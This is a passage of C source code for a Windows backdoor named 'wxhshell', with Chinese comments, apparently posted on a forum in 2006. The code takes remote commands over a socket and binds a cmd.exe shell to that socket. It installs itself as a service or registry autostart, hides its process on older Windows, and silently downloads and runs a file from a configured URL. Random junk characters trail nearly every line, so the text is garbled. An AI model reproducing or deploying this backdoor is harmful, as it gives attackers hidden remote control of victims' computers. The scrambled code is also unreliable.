  // 帮助 >Sb3]$$  
  case '?': { D2RvFlAXu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \mWH8Z }Z  
    break; [$#G|>x  
  } m>*~ tP  
  // 安装 ,;f5OUl?[  
  case 'i': { #$}A$sm  
    if(Install()) S 8)!70  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [GcW*v  
    else B&<P>AZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 69`*u<{PC  
    break; Mh {>#Gs  
    } l hST%3Ld  
  // 卸载 7xfS%'=y"  
  case 'r': { 9_ZGb"(Lj  
    if(Uninstall()) 7m}fVLk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ncTMcu  
    else #WS>Z3AY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qj$w7*U  
    break; 9!.S9[[N  
    } 0%)T]SDS  
  // 显示 wxhshell 所在路径 v8n^~=SH  
  case 'p': { gdq6jz  
    char svExeFile[MAX_PATH]; E'NS$,h  
    strcpy(svExeFile,"\n\r"); '8(UiB5d  
      strcat(svExeFile,ExeFile); X,{[R |  
        send(wsh,svExeFile,strlen(svExeFile),0); |kTq &^$  
    break; 2\;/mQI2A  
    } lS#^v#uS  
  // 重启 i1'G_bo4F7  
  case 'b': { /_YTOSZjm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cDK)zD  
    if(Boot(REBOOT)) ]wi0qc2 {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @4]{ZUV  
    else { h@o6=d=4  
    closesocket(wsh); >(.Y%$9"E  
    ExitThread(0); ap2g^lQXq  
    } $\|Q+7lQ  
    break; ]2 $T 6  
    } 9hh~u -8L  
  // 关机 <lLJf8OK  
  case 'd': { '+3C2!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *2rc Y  
    if(Boot(SHUTDOWN)) ]Qa|9G,b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! h92dH  
    else { D@:'*Z(  
    closesocket(wsh); lJdYR'/Wd  
    ExitThread(0); uPjp5;V  
    } >#Xz~xI/I  
    break; Tu5p`p3-j  
    } yqVoedN  
  // 获取shell g-1j#V`5  
  case 's': { /+8VW;4|I  
    CmdShell(wsh); 6> z{xYat  
    closesocket(wsh); W/}_y8q  
    ExitThread(0); \ 9iiS(e  
    break; g"(@+\XZH"  
  } ~"<^4h  
  // 退出 ]>Gi_20*.  
  case 'x': { ST;o^\B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x 4sIZe+  
    CloseIt(wsh); scYqU7$%T  
    break; 2XUIC^<@s  
    } P9`CW  
  // 离开 YGyw^$.w  
  case 'q': { 1:DA{ejS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1 Cz}|#U  
    closesocket(wsh); (IHR {m  
    WSACleanup(); 6 P(jc  
    exit(1); Um-Xb'R*]V  
    break; cF9ZnT.  
        } 1"<{_&d1  
  } a|dgK+[  
  } gm:Y@6W  
U CFw+  
  // 提示信息 ?u{Mz9:?HT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \:JY[s/  
} ]d|M@v~c4  
  } E.*wNah"U  
iETUBZ  
  return; M_Q`9  
} P+ CdqOL  
E:dN)  
// shell模块句柄 /9&!u )+  
int CmdShell(SOCKET sock) jex\5  
{ @TD=or .&  
STARTUPINFO si; U;4i&=.!  
ZeroMemory(&si,sizeof(si)); sve} ent  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R`E:`t4G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <5}I6R;  
PROCESS_INFORMATION ProcessInfo; 3<"j/9;K'  
char cmdline[]="cmd"; VevG 64o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }/&Zo=Q$  
  return 0; {U$XHG  
} ^|p D(v  
R!QR@*N  
// 自身启动模式 JbL3/h]  
int StartFromService(void) 0C> _aj  
{ E;{CoL  
typedef struct %K')_NS@  
{ `^[Tu 1  
  DWORD ExitStatus; *]NfT}}  
  DWORD PebBaseAddress; 7gN;9pc$  
  DWORD AffinityMask; BJb,  
  DWORD BasePriority; =pi,]m  
  ULONG UniqueProcessId; cZ|NGkZ  
  ULONG InheritedFromUniqueProcessId; {6h 1  
}   PROCESS_BASIC_INFORMATION; 2 G2+oS ?  
jT$J~M pHh  
PROCNTQSIP NtQueryInformationProcess; PN?;\k)"  
!J<Xel {  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C]8w[)d[`;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6q8}8;STTY  
AVw oOv J  
  HANDLE             hProcess; A03io8D6  
  PROCESS_BASIC_INFORMATION pbi; HVoP J!K3  
#<"od'{U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;YY<KuT  
  if(NULL == hInst ) return 0; YcX"Z~O6j=  
Z81;Y=(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /eH37H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1!G}*38;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HQ9tvSc  
h[iO'Vq  
  if (!NtQueryInformationProcess) return 0; OYt_i'Q  
S-o )d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z3c\}HLY  
  if(!hProcess) return 0; I*Dj@f`  
C=r`\W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1ow,'FztPt  
Zl&ED{k<  
  CloseHandle(hProcess); +`gU{e,p  
W`vPf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R[l`# I  
if(hProcess==NULL) return 0; YYFS ({  
mMXDzAllB  
HMODULE hMod; rQ_cH  
char procName[255]; @d~]3T  
unsigned long cbNeeded; P.q7rk<  
B,_K mHItd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U4-RI]Cpf  
]!sCWR  
  CloseHandle(hProcess); h_P  
OqMdm~4B!j  
if(strstr(procName,"services")) return 1; // 以服务启动 "#gKI/[qxq  
xg, 9~f[  
  return 0; // 注册表启动 o:ow"cOEf  
} bcwb'D\a  
. G25D  
// 主模块 zj2y=A| Y  
int StartWxhshell(LPSTR lpCmdLine) w<THPFFF"  
{ +ug2p;<B  
  SOCKET wsl; rp<~=X  
BOOL val=TRUE; -a>CF^tH  
  int port=0;  q9{ h@y  
  struct sockaddr_in door; > O?<?  
;:oJFI#;  
  if(wscfg.ws_autoins) Install(); ~"\v(\Pe  
jf1GYwuW*  
port=atoi(lpCmdLine); AU)\ lyB  
ji4bz#/B0  
if(port<=0) port=wscfg.ws_port; DAf@-~c  
gV9bt ~  
  WSADATA data; Q6URaw#Yt`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N.Q}.(N0  
NpM;vO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4noy!h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,d lq2  
  door.sin_family = AF_INET; x|d?'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GSSmlJ`  
  door.sin_port = htons(port); |%|Vlu  
*'H\`@L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <3j`Z1J  
closesocket(wsl); tUOY`]0  
return 1; J[uH@3v  
} =vF!  
Z Q*hrgQ  
  if(listen(wsl,2) == INVALID_SOCKET) { iyR"O1]  
closesocket(wsl); KrG,T5  
return 1; JJg;X :p  
} :|ah u  
  Wxhshell(wsl); 3Ur_?PM+C  
  WSACleanup(); '`<Fys&:  
-'D ~nd${  
return 0; 9Qu(RbDqC  
8b-mW>xsA  
} hP.Km%C)0n  
h0dZr-c  
// 以NT服务方式启动 +hispU3ia  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +03/A`PKrB  
{ L[nDjQn"  
DWORD   status = 0; l. cp[  
  DWORD   specificError = 0xfffffff; Pe\Obd8d  
q o^mp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I][&*V1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -nHkO&&R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -L6CEe  
  serviceStatus.dwWin32ExitCode     = 0; *[b>]GXd49  
  serviceStatus.dwServiceSpecificExitCode = 0; Y}2Sr-@u  
  serviceStatus.dwCheckPoint       = 0; P{QHG 3  
  serviceStatus.dwWaitHint       = 0; ?GhMGpd Mq  
*2vp2xMA@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N`?/kubD  
  if (hServiceStatusHandle==0) return; 84e8z{  
n=$ne2/  
status = GetLastError();  !j%  
  if (status!=NO_ERROR) ?mK&Slh.  
{ ae@!M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b.?;I7r   
    serviceStatus.dwCheckPoint       = 0; ir{ 4k  
    serviceStatus.dwWaitHint       = 0; o37oRv]  
    serviceStatus.dwWin32ExitCode     = status; Rcw[`q3/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0QfDgDX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Y, L=p  
    return; :wg=H  
  } )wD/<7;  
4J(-~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L1g0Dd\Ox  
  serviceStatus.dwCheckPoint       = 0; srO>l ;Vf/  
  serviceStatus.dwWaitHint       = 0; VMJaL}J]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !plu;w  
} h. ftl2>  
eu_ZsseZ  
// 处理NT服务事件,比如:启动、停止 GGcODjY>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hjFht+j1  
{ O j:I @c  
switch(fdwControl) hp9LV2_5  
{ > 3(,s^  
case SERVICE_CONTROL_STOP: r[;d.3jtP  
  serviceStatus.dwWin32ExitCode = 0; cRbA+0m>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E7@Gpu,o  
  serviceStatus.dwCheckPoint   = 0; )b2O!p  
  serviceStatus.dwWaitHint     = 0; y6[le*T  
  { U2WHs3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zYY]+)k?  
  } m0v .[61  
  return; em0Y'J  
case SERVICE_CONTROL_PAUSE: w <"mS*Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eQ8t.~5;-  
  break; /w5*R5B{  
case SERVICE_CONTROL_CONTINUE: 2; ,8 u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vo*oCfm  
  break; H7;, Kr  
case SERVICE_CONTROL_INTERROGATE: x`@`y7(  
  break; $HQ4o\~  
}; wi jO2F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q jc4IW t~  
} w"dKOdY  
ku]?"{Xx  
// 标准应用程序主函数 :0 n+RL*5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0^u Ut-  
{ '#LzQ6Pn  
h{ix$Xn~  
// 获取操作系统版本 \$Wpt#V  
OsIsNt=GetOsVer();  @,k5T51m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E JuTv%Y8  
L{8_6s(:  
  // 从命令行安装 <anKw|  
  if(strpbrk(lpCmdLine,"iI")) Install(); h ka_Fo  
F5/,S   
  // 下载执行文件 -XV+F@`Md  
if(wscfg.ws_downexe) { ;e5PoLc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 81s }4  
  WinExec(wscfg.ws_filenam,SW_HIDE); fDqT7}L  
} bl^Ihza  
;zD4 #7=  
if(!OsIsNt) { lbIPtu  
// 如果时win9x,隐藏进程并且设置为注册表启动 o#f"wQH;p  
HideProc(); jLVD37 P^  
StartWxhshell(lpCmdLine); !^su=c  
} !vRZh('R  
else 0`c{9gY.  
  if(StartFromService()) _Wg}#r  
  // 以服务方式启动 ~BJE~  
  StartServiceCtrlDispatcher(DispatchTable); o|z@h][(l(  
else wxh\CBxG  
  // 普通方式启动 o68i0aFW  
  StartWxhshell(lpCmdLine); Zc1x"j  
;;+AdN5  
return 0; .aY $-Y<  
}
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只看该作者 1 发表于: 2006-10-10
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